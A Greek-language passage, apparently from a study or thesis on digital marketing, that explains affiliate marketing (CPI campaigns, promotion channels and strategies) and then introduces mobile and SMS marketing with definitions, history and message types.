6. Cost Per Install (CPI): Ειδικά για τις ιστοσελίδες που πωλούν ή παρέχουν δωρεάν, software τρέχουν οι καμπάνιες CPI, στις οποίες διαφημιζόμενος είναι η ιστοσελίδα του software και ο affiliate αμείβεται με κάθε εγκατάσταση του προγράμματος.

Για να γίνετε affiliate, πρέπει να ακολουθήσετε συγκεκριμένα βήματα, τα οποία είναι πολύ, απλά και μπορεί να τα κάνει ο οποιοσδήποτε. Τα βήματα αυτά είναι τα ακόλουθα: 1. Δημιουργήστε ένα site ή ένα blog για έναν κλάδο, τον οποίο γνωρίζετε καλά, έχετε κάνει την έρευνά σας και ξέρετε ποιο είναι το target group σας, τι θέλουν και τι αναζητούν οι χρήστες. 2. Διαλέξτε το affiliate πρόγραμμα, το οποίο θα σας φέρει σε επαφή με χιλιάδες διαφημιζόμενους, οι οποίοι μέσα από διάφορες καμπάνιες μοιράζονται τα κέρδη, τους με τους affiliates. Υπάρχουν πάρα πολλά προγράμματα, τα οποία μπορείτε να βρείτε με μια απλή αναζήτηση στο Google. Σημασία στην επιλογή του σωστού προγράμματος είναι να εξετάσετε και κάποιες ακόμα παραμέτρους, όπως η υποστήριξη που παρέχει το πρόγραμμα στους αρχάριους affiliates και η, δυνατότητα επικοινωνίας που παρέχει με τον Affiliate Manager, για να λυθούν τυχόν προβλήματα και δυσκολίες. 3. Επιλέξτε τι θέλετε να προωθήσετε. Καλό είναι να διαλέγετε προϊόντα και, υπηρεσίες από εταιρείες που έχουν καλή φήμη και υποστήριξη πελατών. Αν θέλετε να καθιερωθείτε ως affiliate, δεν θα σας βοηθήσει το να έχετε ως μοναδικό κριτήριο την αμοιβή αλλά και το να πιστεύετε στην αξία αυτού που προωθείτε. 4. Αφού κάνετε sign up στο affiliate program και διαλέξετε το προϊόν που θέλετε να προωθήσετε, θα πρέπει να δημιουργήσετε εξαιρετικό περιεχόμενο για το site σας σε σχέση με το προϊόν αυτό. Η μόνη ελπίδα να ξεχωρίσει κανείς από τον, ανταγωνισμό, να αναδειχθεί ως affiliate και να καταφέρει να στείλει επισκέπτες και πελάτες στον διαφημιζόμενο είναι να ξέρει τι να προσφέρει στο χρήστη. Χρήσιμα, άρθρα πάνω στον τομέα σας, διασκεδαστικά αλλά και εκπαιδευτικά videos, podcasts, προσεγμένες φωτογραφίες και infographics είναι απαραίτητα. Γενικά, θα πρέπει να στηριχθείτε πάνω στις βασικές αρχές του content marketing και του copywriting, για να γράφετε ενδιαφέροντα κείμενα που προσελκύουν την προσοχή, του αναγνώστη, ενώ απαραίτητη είναι και η βελτιστοποίηση της ιστοσελίδας μέσω SEO, έτσι ώστε να

εμφανιστεί σε υψηλές θέσεις στις μηχανές αναζήτησης, να το, βρίσκουν εύκολα οι χρήστες και να κερδίσετε μεγάλη επισκεψιμότητα. 5. Τοποθετήστε το link του διαφημιζόμενου σε banner, στα άρθρα σας και στις, φωτογραφίες και γενικά προωθήστε το όσο το δυνατόν περισσότερο, ώστε να οδηγήσετε περισσότερους χρήστες σε αυτό και να κερδίζετε περισσότερα χρήματα. Τρόποι προώθησης affiliate link Η επιτυχία στο Affiliate Marketing έρχεται αφενός όταν ο affiliate δρα στον κλάδο που γνωρίζει καλά και αγαπάει και αφετέρου όταν προωθεί το affiliate link παντού. Όσο πιο, πολλοί χρήστες το δουν και το πατήσουν, τόσο πιο πιθανό είναι να γίνουν πελάτες και ο affiliate να κερδίσει χρήματα. Το affiliate link μπορεί, για παράδειγμα, να μπει: 1. Σε banner στο site σας. Σε αυτή την περίπτωση πρόκειται για άμεση διαφήμιση. 2. Σε άρθρο στο site σας, το οποίο είτε προωθεί άμεσα το προϊόν/υπηρεσία είτε, παρέχει χρήσιμες συμβουλές και tips κερδίζοντας το engagement του αναγνώστη. 3. Σε guest blog post. Το ζητούμενο είναι να έρθετε σε επαφή με άλλα sites στον κλάδο σας, να ανταλλάξετε συνδέσμους και να τους ζητήσετε να δημοσιεύσουν, άρθρα σας, τα οποία θα περιέχουν το affiliate link. Πιθανό να σας ζητήσουν να, κάνετε κι εσείς το ίδιο για αυτούς. 4. Σε κατάλογο με άρθρα. Το άρθρο με το affiliate link μπορεί να μπει σε site που δέχεται δωρεάν άρθρα, όπως στα My Articles και EzineArticles για τα ελληνικά, καθώς και στους διεθνείς καταλόγους wArticles και ArtcileDir. 5. Στα social media. Τα άρθρα σας αλλά και το affiliate link μπορείτε να το, προωθήσετε στο προφίλ σας στα μέσα κοινωνικής δικτύωσης. Στα social media, μπορείτε επίσης να δημιουργήσετε groups, στα οποία θα προσκαλέσετε τους φίλους σας και θα κάνετε διάφορα ενδιαφέροντα posts προωθώντας ταυτόχρονα το affiliate link. Το βασικό είναι να μην κάνετε άμεση διαφήμιση, αλλά να δώσετε, αξία και περιεχόμενο στο group, το οποίο θα ωφελεί τα μέλη του, θα κερδίζει τη συμπάθειά τους και τελικά θα τα κάνει μόνα τους να αναζητούν το σύνδεσμο, για, να κατευθυνθούν στο προϊόν. 6. Στην υπογραφή σας στα emails που στέλνετε. 7. Στο YouTube. Μπορείτε να φτιάξετε προσεγμένα videos, στο τέλος των οποίων θα βάλετε το link. Τα videos, τα οποία επίσης κινούνται στη λογική του έμμεσου,

marketing, μπορείτε να τα προωθήσετε και στο site σας ή στα social media. Πάντως, το video marketing είναι αυτή τη στιγμή από τις πλέον ανερχόμενες μορφές marketing και θα μας απασχολήσει στο μέλλον, αφού το YouTube είναι η δεύτερη μεγαλύτερη μηχανή αναζήτησης μετά το Google. 8. Σε blog comments. Βρείτε blogs και άρθρα συναφή με αυτό που προωθείτε και προσθέστε ένα χρήσιμο σχόλιο με το affiliate link, αρκεί να μην είναι απευθείας, διαφήμιση. 9. Σε e-book. Αν γνωρίζετε πραγματικά καλά το προϊόν, την υπηρεσία και γενικά τον, κλάδο στον οποίο ανήκουν αυτά που προωθείτε, τότε μπορείτε να γράψετε ένα ebook και να το προσφέρετε στο site σας με free download. Ελέγξτε ότι το link κλικάρεται μέσα στο PDF του e-book. Ο αναγνώστης του βιβλίου είναι πολύ πιθανό, να το πατήσει αλλά και να το προτείνει σε φίλους του. Στρατηγικές για Affiliates Η επιτυχία στο Affiliate Marketing έρχεται αφενός όταν ο affiliate δρα στον κλάδο που, γνωρίζει καλά και αγαπάει και αφετέρου όταν προωθεί το affiliate link παντού. Όσο πιο, πολλοί χρήστες το δουν και το πατήσουν, τόσο πιο πιθανό είναι να γίνουν πελάτες και ο affiliate να κερδίσει χρήματα. 1. Προωθήστε προϊόντα που γνωρίζετε και σας αρέσουν πραγματικά, Όπως όλα τα πράγματα στην ζωή, αν δεν σου αρέσει κάτι ή δεν το γνωρίζεις αρκετά καλά, θα φανεί και δεν θα έχεις τα επιθυμητά αποτελέσματα. Οπότε πρέπει να επιλέξετε, προϊόντα και ένα industry που σας ενδιαφέρει και το ξέρετε σε βάθος, και όχι να προωθείτε προϊόντα που νομίζετε ότι είναι δημοφιλή ή θα οδηγήσουν πιο εύκολα σε πωλήσεις. Το πιο συχνό λάθος στο Affiliate Marketing είναι να πηγαίνετε για το γρήγορο κέρδος. Οι χρήστες που μπαίνουν σε product review sites είναι πολύ εξειδικευμένοι πολλές φορές, οπότε θα, καταλάβουν με τη μια εάν δεν ξέρετε καλά για τι μιλάτε. Επίσης, μην ξεχνάτε ότι κάλλιστα μπορεί να έχουν επισκεφτεί και site ανταγωνιστών σας, πράγμα το οποίο θα οξύνει ακόμη περισσότερο αυτό το πρόβλημα, εάν το περιεχόμενο τους είναι καλύτερο. Ένας τύπος, Review content που δουλεύει πολύ καλά σε αρκετά industries είναι τα Head-to-Head. Άρθρα δηλαδή που συγκρίνουν δύο ανταγωνιστικά προϊόντα παραθέτοντας τα υπέρ και τα κατά του καθενός, καταλήγοντας στο ποιο είναι το καλύτερο (συνήθως αυτό από το οποίο, θα πληρωθεί ο Affiliate φυσικά). 2. Επενδύστε πολύ στο SEO

Τα Affiliate Marketing sites είναι, ως επί το πλείστον, sites που στοχεύουν σε πωλήσεις, μέσω οργανικού traffic, άρα προσπαθούν να προσελκύουν όσο περισσότερους επισκέπτες γίνεται από τις μηχανές αναζήτησης. Κατ’ επέκταση το SEO και όλες οι πτυχές του (On-Page, Off-Page, Technical) είναι απολύτως σημαντικές για να ανέβει ένα τέτοιο site πιο ψηλά στα, οργανικά αποτελέσματα για keywords που θα του αποφέρουν κέρδη. Το περιεχόμενο των Affiliate sites πρέπει να είναι πάντα βελτιστοποιημένο και χτισμένο γύρω από τέτοια keywords, σε όλες τις On-Page πτυχές του. Επίσης, ένα πράγμα που κάνουν πάντα αυτά τα site είναι η σκληροπυρηνική αναζήτηση ποιοτικών backlinks για να προάγουν το Off-Page, SEO τους, καθώς και το να κάνουν βελτιώσεις σε όλες τις τεχνικές πτυχές τους, όπως η ταχύτητα φόρτωσης, η αρχιτεκτονική του site ή προβλήματα indexing από τις μηχανές αναζήτησης. Ο ανταγωνισμός στο κομμάτι του SEO ανάμεσα στα Affiliate sites είναι τεράστιος, αλλά ευτυχώς υπάρχουν διάφορα tools που βοηθάνε στο να μάθεις τι στρατηγικές εφαρμόζει ο ανταγωνιστής και να τις αντιγράψεις. Εν κατακλείδι, το μόνο σίγουρο είναι ότι από την στιγμή που το Affiliate Marketing στηρίζεται πολύ στο SEO, τα κέρδη από αυτό δεν είναι ούτε γρήγορα ούτε εύκολα, όπως και το ίδιο το SEO άλλωστε. 3. Δημιουργήστε πρωτότυπο περιεχόμενο που πληροφορεί πραγματικά, όχι μόνο πουλάει Κάποιοι Affiliates επιλέγουν να είναι ξεκάθαροι για το γεγονός ότι βγάζουν λεφτά από το περιεχόμενο που παράγουν, ενώ κάποιοι άλλοι όχι. Το μόνο σίγουρο είναι ότι όλοι οι επιτυχημένοι του χώρου δημιουργούν περιεχόμενο που είναι άκρως ενδιαφέρον, δίνει, ουσιαστική πληροφορία και αξία στον χρήστη. Το χειρότερο που μπορείτε να κάνετε σε αυτή την περίπτωση είναι να ανεβάζετε περιεχόμενο που κάνει υπερβολικά εμφανές ότι πάτε με γνώμονα το κέρδος και μόνο αυτό. Δεν χρειάζονται πολλά cta (παροτρύνσεις) σε κάθε σελίδα, ούτε ενοχλητικά pop-ups και banners, καθώς δεν είναι αυτά τα οποία θα, κάνουν τον κόσμο να σας εμπιστευτεί και να αγοράσει το προϊόν που του προτείνετε. Το ζητούμενο εδώ είναι να θεμελιωθείτε ως αντικειμενικός και αξιόπιστος κριτής που ξέρει, για τι μιλάει και το κάνει μέσα από πρωτότυπο περιεχόμενο που δεν μπορούν οι χρήστες να το βρουν αλλού. 4. Χτίστε email list Αρκετοί χρήστες δεν θα πεισθούν με τη μια, η δημιουργία κάποιας προσφοράς, προκειμένου να πάρετε το mail τους και να μπορέσετε μετά να τους στείλετε newsletters με χρήσιμο περιεχόμενο ή αποκλειστικές προσφορές που θα τους ενδιαφέρουν. Φροντίστε μόνο το σημείο που θα βάλετε την φόρμα εγγραφής να είναι εμφανές και η σελίδα να μην, άλλα CTA

που τους ζητάνε να κάνουν διαφορετικά πράγματα, καθώς στο τέλος θα καταλήξουν να μην κάνουν κανένα. Το κατά πόσο θα γραφτούν στη λίστα σας έχει επίσης, να κάνει πολύ συχνά μεταξύ άλλων και με το πόσο δελεαστικό είναι το αντάλλαγμα, καθώς και με το πόσο σας εμπιστεύονται ως site. Πάνω από όλα το Affiliate Marketing, όπως και όλα τα υπόλοιπα μοντέλα, στηρίζονται σε σχέσεις εμπιστοσύνης ανάμεσα στον marketer, και το κοινό.

Mobile Marketing Το Mobile Marketing συνιστά ένα καινούριο είδος Marketing, το οποίο αναπτύσσεται µε ταχύτατους ρυθμούς και σκοπό έχει «να δημιουργήσει τις προϋποθέσεις για συγκεκριμένη ενέργεια από τη μεριά των δυνητικών καταναλωτών». Πρόκειται δηλαδή για µία καινοτόμα ιδέα εκ μέρους των διαφημιστών, η οποία προέκυψε ως αποτέλεσμα της ραγδαίας ανάπτυξης και επιρροής που επέφερε η χρήση των κινητών τηλεφώνων στον άνθρωπο µε σκοπό την προσέλκυσή του. Τη διαπίστωση αυτή έρχονται να επιβεβαιώσουν κάποιες στατιστικές έρευνες, σύμφωνα µε τα αποτελέσματα των οποίων «η χρήση των τεχνολογιών της κινητής τηλεφωνίας σε διαφημιστικές εκστρατείες δύναται να πετύχει μέχρι και 200% μεγαλύτερη αποτελεσματικότητα». Ο όρος «marketing» ορίζεται κατά τον Kotler ως: «µια κοινωνική διαδικασία µε την οποία τα άτομα και οι ομάδες αποκτούν ό,τι χρειάζονται και θέλουν µέσω της ελεύθερης δημιουργίας, της προσφοράς και της ανταλλαγής προϊόντων και υπηρεσιών αξίας, µε τους άλλους», καθώς αυτό εξυπηρετεί τους σκοπούς της. Ένας άλλος ορισμός για το marketing, ο οποίος έχει αποδειχθεί άξιος αναφοράς είναι εκείνος της Αμερικάνικης Οργάνωσης marketing, σύμφωνα µε την οποία: «το marketing είναι η διαδικασία χειρισμού και εκτέλεσης της έννοιας, της τιμολόγησης μάνατζμεντ, της προώθησης και της διανομής ιδεών, αγαθών και υπηρεσιών ώστε να υπάρξει ανταλλαγή που να ικανοποιεί τους ατομικούς στόχους και τους στόχους του οργανισμού» Kotler. Σχετικά τώρα µε το Mobile Marketing, δεν έχει διατυπωθεί ένας συγκεκριμένος ορισμός, ωστόσο, θα μπορούσε να ειπωθεί ότι η λειτουργία του έγκειται στην επικοινωνία διότι ο σκοπός της είναι να πληροφορήσει και να πείσει τον πιθανό αγοραστή για ένα προϊόν και συγκεκριμένα στην παρουσίαση και προώθηση προϊόντων ή υπηρεσιών µέσω των κινητών τηλεφώνων. Σχετίζεται δηλαδή µε τις συναλλαγές που πραγματοποιούνται μεταξύ των επιχειρήσεων και του τελικού καταναλωτή, γι’ αυτό και ανήκει στην κατηγορία B2C Marketing (Business to

Customer). Ως μέσο πραγμάτωσης της επικοινωνίας θεωρείται μεταξύ άλλων και η προβολή, η οποία περιλαμβάνει πέντε εργαλεία, τα οποία παρατίθενται παρακάτω: 1. Πωλήσεις µέσω προσωπικών επαφών 2. Απευθείας πωλήσεις 3. Διαφήμιση 4. Δωρεάν προβολή 5. Εκπτώσεις Σε αυτό το σημείο πρέπει να σημειωθεί ότι η επικοινωνία απαιτεί στρατηγική θεώρηση εκ μέρους μίας επιχείρησης. Δύο βασικά πλεονεκτήματα που υπάρχουν στη στρατηγική αυτή θεώρηση είναι ότι: 1. Επιτρέπεται η λήψη ευρύτερων αποφάσεων για τη διαμόρφωση της προβολής, γεγονός, το οποίο επιδρά θετικά σε µία επιχείρηση που δε στοχεύει στην αύξηση των πωλήσεών της, αλλά στην ευρεία αναγνώριση των προϊόντων της στην αγορά. 2. Επιτρέπεται µία σφαιρική θεώρηση των παραγόντων του μίγματος, µε αποτέλεσμα τον πιο αποδοτικό συνδυασμό τους. Τέλος, η επικοινωνία στο Marketing μπορεί να είναι είτε μαζική (µέσω της τηλεόρασης, του ραδιοφώνου και του τύπου), είτε προσωπική (µέσω προσωπικής επαφής). Ιστορική Αναδρομή Το Δεκέμβριο του 1992 έκανε την εμφάνιση του το πρώτο γραπτό μήνυµα στο αγγλικό τηλεπικοινωνιακό δίκτυο της Vodafone, το οποίο φάνηκε να έχει ιδιαίτερη απήχηση στο κοινό, όχι µόνο όσον αφορά τις διαπροσωπικές σχέσεις αλλά και τις επιχειρηματικές συνδιαλλαγές. Αποτέλεσμα της δημοτικότητας για την οποία γίνεται τώρα λόγος και της εξέλιξής της είναι η σημερινή μορφή της, η οποία κυμαίνεται σε κλίμακα που αγγίζει τη διακίνηση 30 δισεκατομμυρίων γραπτών μηνυµάτων μηνιαίως σε παγκόσμιο επίπεδο. Όσον αφορά τα ελληνικά δεδομένα, η απόπειρα διαφήμισης µέσω της κινητής τηλεφωνίας έχει ξεκινήσει αρκετά χρόνια τώρα χωρίς όμως ιδιαίτερη επιτυχία. Συγκεκριμένα στην Ελλάδα, παρατηρείται ότι το ποσοστό διείσδυσης της κινητής τηλεφωνίας φτάνει στο 91% στις ηλικίες 18-70 ετών. Άμεση απόρροια του εν λόγω φαινομένου και της επακόλουθης συνειδητοποίησης εκ μέρους των διαφημιστικών εταιριών της οικειότητας των ατόμων µε το κινητό τους τηλέφωνο και ειδικά µε τα γραπτά μηνύματα, ήταν η πραγματοποίηση των πρώτων εκστρατειών marketing µέσω sms. Το 2007 ήταν η χρονιά του mobile marketing και ο λόγος είναι η συνεχής ανάπτυξη των κινητών τρίτης γενιάς, καθώς

αυτά έχουν μεγαλύτερες οθόνες και διαθέτουν περισσότερες εφαρμογές όπως τη λειτουργία του Bluetooth. Η προαναφερόμενη ανοδική τάση της πορείας του mobile marketing, φαίνεται να ενισχύεται από το γεγονός ότι το κινητό τηλέφωνο αποτελεί πλέον ένα εργαλείο απαραίτητο για κάθε άνθρωπο, παντός ηλικίας, φύλου, μορφωτικού επιπέδου ή τόπου διαμονής, καθώς εξυπηρετεί πολλές και διαφορετικές ανάγκες του 24 ώρες το εικοσιτετράωρο. Με αυτό το φαινόμενο έχουν ασχοληθεί διάφορες εταιρίες ερευνών marketing, οι οποίες και έχουν διεξάγει σχετικές έρευνες. Επί παραδείγματι θα αναφερθούν οι εταιρίες Nightfly στη Μεγάλη Βρετανία και η Enpocket. Όσον αφορά την πρώτη, η έρευνά της έδειξε ότι «το 39% της πελατειακής βάσης της προτιμά το SMS Marketing από την τηλεόραση ή το ραδιόφωνο». Αναφορικά µε τη δεύτερη, διαπιστώνεται ότι «το permission-based mobile marketing είναι 50% πιο αποδοτικό από την τηλεόραση και 130% πιο αποδοτικό από το ραδιόφωνο». Μέσο Προώθησης Του Mobile Marketing Το Mobile Marketing είναι ένα είδος προσωπικής και άμεσης επικοινωνίας, το οποίο χρησιμοποιεί τη γραπτή επικοινωνία για την πραγμάτωση του, διότι η υπηρεσία στην οποία στηρίζεται η λειτουργία του είναι αυτή του sms µέσω του κινητού τηλεφώνου. Στο σημείο αυτό, κρίνεται απαραίτητο να αναφερθεί ότι η επικοινωνία θεωρείται αναπόσπαστο κομμάτι του Marketing καθώς αποτελεί το δίαυλο μεταξύ του δέκτη της διαφήμισης και του πομπού αυτής. Χωρίς την επικοινωνία η προώθηση ενός προϊόντος θα ήταν ανέφικτη. Κατά συνέπεια, θα ήταν παράληψη να µη γίνει αναφορά στον ορισμό της επικοινωνίας. Σύμφωνα µε τον Μπουραντά «επικοινωνία είναι η διαδικασία µε την οποία ένας πομπός Α (άνθρωπος, ομάδα) μεταβιβάζει πληροφορίες, σκέψεις, ιδέες, συναισθήματα και ακόμη ενέργεια, σε ένα δέκτη Β (άνθρωπος, ομάδα) µε στόχο να ενεργήσει πάνω του µε τρόπο ώστε να προκαλέσει σε αυτόν την εμφάνιση ιδεών, πράξεων, συναισθημάτων, ενέργειας και σε τελική ανάλυση να επηρεάσει την κατάστασή του και τη συμπεριφορά του». Αξιοσημείωτη είναι επίσης και η θεωρία του McLuhan, η οποία έρχεται να επισημάνει το ρόλο και τη δύναμη του μέσου και πιο συγκεκριμένα της τηλεόρασης στην επικοινωνία. Για τον εν λόγω ερευνητή όλη του η θεωρία συνοψίζεται στην ακόλουθη φράση: «το μέσο είναι μήνυμα». Συνεχίζοντας την αναφορά στο μέσο προώθησης του Mobile Marketing, γίνεται κατανοητό ότι η βασική ιδέα της εν λόγω προωθητικής πατέντας στηρίζεται στη σίγουρη επίτευξη της άμεσης ανταπόκρισης του καταναλωτή, καθώς το διαφημιζόμενο προϊόν βρίσκεται στην οθόνη του πιο προσωπικού του, ίσως, αντικειμένου.

Συνεπώς, ο λόγος που το Mobile Marketing εστιάζει στα sms είναι επειδή θεωρείται αναμφίβολα ένα αναπόσπαστο κομμάτι της κινητής τηλεφωνίας που δίνει τη δυνατότητα στους χρήστες να στείλουν και να λάβουν μηνύματα µέσω των κινητών τους, κάνοντάς τους να νιώθουν ότι έχουν µία απόλυτα άμεση και κυρίως προσωπική επικοινωνία. Εκτός όμως από αυτά τα είδη επικοινωνίας το Mobile Marketing κάνει χρήση και της άτυπης, ατομικής, συλλογικής και εξωεπιχειρησιακής επικοινωνίας. Σημαντική προϋπόθεση, η οποία και πρέπει να πληρείται σε κάθε περίπτωση είναι η δομημένη μορφή του μηνύματος, προκειμένου αυτό να προκαλέσει τόσο την προσοχή όσο και την κατανόηση του καταναλωτή. Όσον αφορά λοιπόν τη μορφή του sms, αυτό πρέπει να είναι απλό, κατανοητό, έξυπνο, γρήγορο, άμεσο, προσωπικό και να µην υπερβαίνει τους 160 χαρακτήρες. Μία σημαντική παράμετρος που θα πρέπει επίσης να ληφθεί υπόψη είναι η προσέλκυση του δύσκολου καταναλωτή, η οποία έγκειται, σε μεγάλο βαθμό, στη σωστή δομή και μορφή του μηνύματος που μόλις προαναφέρθηκε. Ως τέτοιος θα μπορούσε να χαρακτηριστεί ο καταναλωτής που είτε δε βρίσκεται σε καλή ψυχολογική κατάσταση τη στιγμή λήψης του διαφημιστικού μηνύματος είτε γενικότερα δεν πείθεται εύκολα. Ωστόσο, θα ήταν παράληψη να µη σημειωθεί ότι σταδιακά εμφανίζεται στο προσκήνιο και αναπτύσσεται επίσης η αγορά των mms, τα οποία, σε αντίθεση µε τα sms είναι εμπλουτισμένα µε ήχο και εικόνα, κάτι που στοχεύουν να αξιοποιήσουν οι marketers, αποσκοπώντας σε καλύτερα αποτελέσματα. Εντούτοις, ένα βασικό μειονέκτημα των mms, το οποίο ίσως να είναι και το μοναδικό, είναι ότι ορισμένες συσκευές δε διαθέτουν αυτήν την εφαρμογή µε αποτέλεσμα να καθίσταται αναγκαίος ο έλεγχος πριν την αποστολή τους προκειμένου να εντοπιστούν τα άτομα που διαθέτουν την εν λόγω υπηρεσία. Λαμβάνοντας υπόψη τα όσα αναφέρθηκαν, καθίσταται ευδιάκριτη η παρουσία ορισμένων παραγόντων που επηρεάζουν το επίπεδο αποτελεσματικότητας της διαφήμισης µέσω κινητού τηλεφώνου και οι οποίοι αναγράφονται παρακάτω: Χαρακτηριστικά των καταναλωτών: Οι διαφημιστικές εταιρείες θα πρέπει να προσελκύσουν καταναλωτές των οποίων τα χαρακτηριστικά να σχετίζονται µε τα χαρακτηριστικά του κοινού στόχου. Συγκεκριμένα, πρέπει να δώσουν βάση στο φύλο, την ηλικία, το μορφωτικό επίπεδο, την κοινωνικό-οικονομική κατάσταση, κλπ. Κόστος αποστολής μηνυμάτων από τους καταναλωτές προς τον διαφημιζόμενο: Σε ορισμένες περιπτώσεις ο καταναλωτής καλείται (εφόσον το επιθυμεί και ο ίδιος) να στείλει κάποιο γραπτό μήνυμα στο διαφημιζόμενο. Αυτό μπορεί να συμβεί είτε για συμμετοχή του

καταναλωτή σε κάποιο διαγωνισμό, είτε για να πάρει περισσότερες πληροφορίες για το προϊόν/ υπηρεσία, κ.ά. Χαρακτηριστικά του κινητού τηλεφώνου: Ποιες λειτουργίες διαθέτει το κινητό, π.χ. Bluetooth, mms, κλπ. Τόπος και χρόνος παράδοσης του διαφημιστικού: Σε ποιο μέρος θα είναι ο καταναλωτής τη στιγμή που θα λάβει το μήνυμα και τι ώρα θα το λάβει, π.χ. βρίσκεται σε εμπορικό κέντρο απογευματινή ώρα (σε αυτήν την περίπτωση είναι χρήσιμη η εφαρμογή του Bluetooth Marketing). Διαφημιζόμενο προϊόν: Χαρακτηριστικά και κόστος του προϊόντος, σε ποιους απευθύνεται. Συνάφεια αναγκών καταναλωτή/ διαφημιστικού: Οι ανάγκες των καταναλωτών να είναι σε συνάρτηση µε το διαφημιζόμενο προϊόν, να μπορεί να καλύψει δηλαδή τις ανάγκες του αγοράζοντας αυτό το προϊόν. Οικονομικό κίνητρο κλπ. Όσο πιο χαμηλό είναι το κόστος του διαφημιζόμενου προϊόντος, τόσο πιο πολλοί καταναλωτές θα θελήσουν να το αποκτήσουν. Συνοψίζοντας τα προαναφερόμενα, θα μπορούσε να διεξαχθεί το συμπέρασμα ότι πέραν της προσωπικής και άμεσης επικοινωνίας, λαμβάνουν χώρα επιπρόσθετα πλεονεκτήματα αναφορικά µε τη χρήση των sms, όπως είναι το χαμηλό κόστος, η υψηλή αποτελεσματικότητα, η μεγάλη εμβέλεια (γι’ αυτό και μπορεί να γίνει μαζική αποστολή sms), η άμεση παράδοση και διακριτικότητα, καθώς επίσης η αξιοπιστία και η ευκολία στην εγκατάσταση. Στο σημείο αυτό όμως αξίζει να γίνει µία εκτενέστερη αναφορά στο πλεονέκτημα της μεγάλης εμβέλειας, το οποίο και εκπορεύεται από τη δυνατότητα μαζικής αποστολής sms. Πιο συγκεκριμένα, ο χρήστης δύναται να γίνει δέκτης μίας υπηρεσίας που επιφορτίζεται µε την αρμοδιότητα να αποστέλλει μαζικά sms. Η υπηρεσία αυτή ακούει στο όνομα «bulk sms service» και τα μηνύματα που αναλαμβάνει να στείλει εκτός από μαζικά επιβάλλεται να είναι απλά και σύντομα για την πιο εύκολη κατανόησή τους. Ένας άλλος λόγος που το bulk sms είναι σημαντικό για όλες τις επιχειρήσεις είναι ότι διαθέτει µία ακόμη εφαρμογή, τις ειδοποιήσεις (alerts1), η οποία και μπορεί κάλλιστα να συμβάλλει στο CRM (Customer Relationship Management) εργαλείο του Marketing για το οποίο θα γίνει αναλυτική αναφορά παρακάτω εφόσον διευκολύνει τη σωστή ενημέρωση των πελατών για τυχόν παραγγελίες ή για το λογαριασμό τους μετά από κάποια συναλλαγή. Τελειώνοντας την αναφορά στην υπηρεσία που λειτουργεί ως μέσο προώθησης του Mobile Marketing, δηλαδή στο sms, θα πρέπει να γίνει λόγος για την επιλογή εστίασης του μηνύματος, προκειμένου αυτό να

προσελκύσει τον καταναλωτή. Η επικέντρωση λοιπόν, δύναται να χαρακτηρίζει ένα μήνυμα είτε ως «θετικό» είτε ως «αρνητικό». Αναφορικά µε την πρώτη περίπτωση, «θετικό» αποκαλείται το μήνυμα που επικεντρώνεται: •

Στο προϊόν,

•

Στα χαρακτηριστικά του προϊόντος,

•

Στις ιδιότητες του προϊόντος και στα οφέλη, τα οποία δύνανται να αποκοµισθούν από τον καταναλωτή µε την ενδεχόμενη επιλογή του προϊόντος από τον ίδιο.

Τα κύρια είδη διαφήμισης, τα οποία χρησιμοποιούνται για την ανάπτυξη θετικών μηνυμάτων είναι τα εξής: 1. Άμεση Διαφήμιση: Είναι η διαφήμιση η οποία είναι υπεύθυνη για τη μετάδοση ενός διαφημιστικού μηνύματος απευθείας στον καταναλωτή µέσω e-mail, τηλεφώνου, φαξ και άλλων ηλεκτρονικών μέσων επικοινωνίας. 2. Συγκαλυμμένη ή Έμμεση Διαφήμιση: Είναι η διαφήμιση η οποία μιλάει επαινετικά για ένα συγκεκριμένο προϊόν/ υπηρεσία και συστήνει στους καταναλωτές να προβούν σε κάποια αγορά. Όσον αφορά τη δεύτερη περίπτωση, «αρνητικό» αποκαλείται το μήνυμα που εστιάζει στην ανταγωνίστρια εταιρία, της οποίας τα αρνητικά χαρακτηριστικά και επισημαίνει, επιχειρώντας να πείσει τον καταναλωτή για τις αρνητικές συνέπειες που ενδέχεται να επιφέρει η επιλογή της, επιδιώκοντας µε αυτόν τον τρόπο να στρέψει τον καταναλωτή προς τη δική της κατεύθυνση. Σε αυτήν την περίπτωση, τα είδη διαφήμισης τα οποία χρησιμοποιούνται είναι τα παρακάτω: 1. Συγκριτική Διαφήμιση: Είναι η διαφήμιση η οποία έχει σχεδιαστεί για να προσδιορίσει άμεσα ή έμμεσα την ταυτότητα ενός συγκεκριμένου ανταγωνιστή ή των ομοειδών αγαθών και υπηρεσιών που εκείνος προσφέρει. 2. Παραπλανητική Διαφήμιση: Είναι η διαφήμιση η οποία έχει σχεδιαστεί για να παραπλανήσει τους καταναλωτές και μπορεί να επηρεάσει την οικονομική τους συμπεριφορά, ενώ παράλληλα για τους ίδιους λόγους μπορεί να βλάψει τους ανταγωνιστές. 3. Αθέμιτη Διαφήμιση: Είναι η διαφήμιση η οποία στοχεύει στην πρόκληση ή εκμετάλλευση αισθημάτων φόβου, προλήψεων, την εξώθηση σε εγκληματικές

πράξεις, προσβάλλει τα ήθη, παρουσιάζει την εικόνα πολύ δελεαστικής προσφοράς και απευθύνει το μήνυμα κατευθείαν στο υποσυνείδητο.

Πλεονεκτήματα Mobile Marketing Το Mobile Marketing έχει να επιδείξει μια πληθώρα πλεονεκτημάτων μεταξύ των οποίων είναι και η λήψη άδειας από τον καταναλωτή, είτε αυτή είναι έμμεση είτε είναι άμεση. Με αυτό τον τρόπο δίνεται στον παραλήπτη η δυνατότητα να διακρίνει τα ενοχλητικά sms (spam) από τα πολύτιμα και πειστικά μηνύματα, τα οποία και μπορεί ο ίδιος να χειριστεί κατά βούληση. Αναλύοντας πιο συγκεκριμένα τα πλεονεκτήματα του mobile marketing και διατηρώντας υπόψη το γεγονός ότι το κινητό τηλέφωνο αποτελεί αναπόσπαστο κομμάτι της ζωής του χρήστη του (είτε αυτό χρησιμεύει ως δίαυλος επικοινωνίας, είτε ως μέσο προβολής των email του, είτε ως το ημερολόγιο του κ.ά.) μπορούν να ειπωθούν τα εξής επιμέρους πλεονεκτήματα σχετικά µε την επικοινωνία, τη στόχευση και την προωθητική διαδικασία. Όσον αφορά την επικοινωνία το Mobile Marketing: •

Είναι καθαρά προσωπικό και άμεσο, εφόσον χρησιμοποιεί το κινητό τηλέφωνο για την εφαρμογή του.

•

Είναι σύγχρονος τρόπος επικοινωνίας καθώς έτσι το αντιλαµβάνονται οι πελάτες.

•

Μπορεί να συμπληρώσει επιτυχώς άλλους τρόπους επικοινωνίας όπως διαφημίσεις στο ραδιόφωνο, την τηλεόραση, τον τύπο, αλλά και άλλες επικοινωνιακές μεθόδους όπως τηλέφωνο, e-mail, web forms κλπ.

•

